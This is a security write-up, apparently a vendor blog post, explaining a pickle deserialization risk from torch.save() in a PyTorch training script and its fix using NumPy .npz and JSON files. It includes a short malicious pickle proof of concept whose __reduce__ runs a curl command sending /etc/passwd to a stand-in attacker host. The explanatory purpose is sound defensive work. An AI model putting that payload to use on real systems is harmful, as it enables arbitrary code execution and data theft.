How trailofbits.python.pickles-in-pytorch.pickles-in-pytorch happens in Python/PyTorch and how to fix it

Introduction

The file skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py handles model training and checkpoint saving for a pre-training pipeline. At line 143, the torch.save() call serialized a checkpoint dictionary containing model weights, optimizer state, scheduler state, and training metadata. While this is an extremely common pattern in PyTorch codebases, it introduces a high-severity security risk: every .pt file saved with torch.save() is a pickle file, and pickle files can execute arbitrary Python code when loaded.

This vulnerability was flagged by Semgrep using the Trail of Bits rule trailofbits.python.pickles-in-pytorch.pickles-in-pytorch, and the fix demonstrates a clean migration away from pickle-based serialization without sacrificing functionality.

The Vulnerability Explained

What Makes torch.save() Dangerous?

Under the hood, torch.save() calls pickle.dump(). When the corresponding torch.load() is called later—whether by this same pipeline, a CI system, or another developer—Python's pickle module reconstructs the serialized objects. The critical problem is that pickle can serialize any Python object, including objects with __reduce__ methods that execute arbitrary code during deserialization.

Here's the vulnerable code at line 140-143:

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

The Attack Scenario

Consider this attack chain specific to this trainer pipeline:

1. An attacker gains write access to the args.out directory (e.g., through a path traversal in another component, a compromised CI artifact store, or a supply-chain attack on a shared storage bucket).
2. The attacker replaces ckpt_smoke.pt with a crafted pickle file containing a malicious payload—for example, a reverse shell or credential exfiltration script.
3. When any downstream process calls torch.load("ckpt_smoke.pt"), the malicious code executes with the permissions of the loading process.

A malicious checkpoint could look like this:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/exfil?data=$(cat /etc/passwd)",))

pickle.dump(Exploit(), open("ckpt_smoke.pt", "wb"))

This is not theoretical—the ML community has documented real-world attacks using poisoned model files distributed through model hubs and shared training infrastructure.

Why This Matters Here

Even though this is a "smoke test" checkpoint (as indicated by the ckpt_smoke.pt filename), the pattern establishes a dangerous precedent. If developers copy this pattern for production checkpoints, or if automated systems load these files without validation, the attack surface expands significantly. The fact that optimizer and scheduler state dicts are also serialized means the pickle contains complex nested objects—more surface area for exploitation.

The Fix

The fix replaces the single torch.save() call with two safer serialization mechanisms:

Before (Vulnerable)

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

After (Hardened)

np.savez(os.path.join(args.out, "ckpt_smoke.npz"),
         **{k: v.detach().cpu().numpy() for k, v in model.state_dict().items()})
with open(os.path.join(args.out, "ckpt_smoke_meta.json"), "w") as fmeta:
    json.dump({"step": args.steps, "tokens_seen": None}, fmeta)

What Changed and Why

1. Model weights → NumPy .npz format: The np.savez() function stores arrays in a ZIP archive of .npy files. NumPy's format is a simple binary format with a fixed header followed by raw array data—it cannot execute code during loading. The dictionary comprehension {k: v.detach().cpu().numpy() for k, v in model.state_dict().items()} converts each PyTorch tensor to a NumPy array, preserving the parameter names as keys.

2. Metadata → JSON: Training metadata (step count, tokens_seen) is now stored in a plain JSON file. JSON parsing cannot trigger code execution, making it inherently safe for untrusted data.

3. Optimizer and scheduler state removed: The fix deliberately drops the optimizer and scheduler state from the checkpoint. For a smoke test checkpoint, this is acceptable—these states are only needed for resuming training, not for validating that training ran correctly.

Security Improvement

Key Takeaways

• torch.save() at line 143 of trainer.py was a pickle-based serialization call that could enable arbitrary code execution if the saved checkpoint was later loaded from a tampered source.
• NumPy's .npz format is a safe alternative for tensor data because it stores raw numerical arrays without any object serialization capability.
• Separating metadata into JSON makes the checkpoint inspectable and eliminates any code execution risk for non-tensor data.
• Even "smoke test" checkpoints establish patterns—developers copy patterns they see in codebases, so hardening even low-risk paths prevents pattern propagation.
• The optimizer and scheduler state were intentionally dropped, demonstrating that security fixes sometimes require rethinking what data actually needs to be persisted.

How Orbis AppSec Detected This

• Source: Model training output at the end of the main() function in trainer.py, where model.state_dict(), opt.state_dict(), and sched.state_dict() are collected into a dictionary.
• Sink: torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt")) at line 143 of skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py
• Missing control: No validation of the serialization format; pickle was used implicitly through torch.save() without any safer alternative or integrity verification.
• CWE: CWE-502 (Deserialization of Untrusted Data)
• Fix: Replaced torch.save() with np.savez() for model weights and json.dump() for metadata, completely eliminating pickle from the serialization path.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix demonstrates that even ubiquitous patterns in machine learning code—like torch.save()—can harbor serious security risks. The pickle deserialization vulnerability in trainer.py was a latent exploit primitive: not independently exploitable today, but a building block that automated attack tools could chain with other weaknesses. By migrating to NumPy's .npz format and JSON metadata, the checkpoint remains fully functional while the arbitrary code execution vector is completely eliminated. As ML pipelines become more complex and interconnected, treating model files as potential attack vectors—not just data—is essential for secure AI development.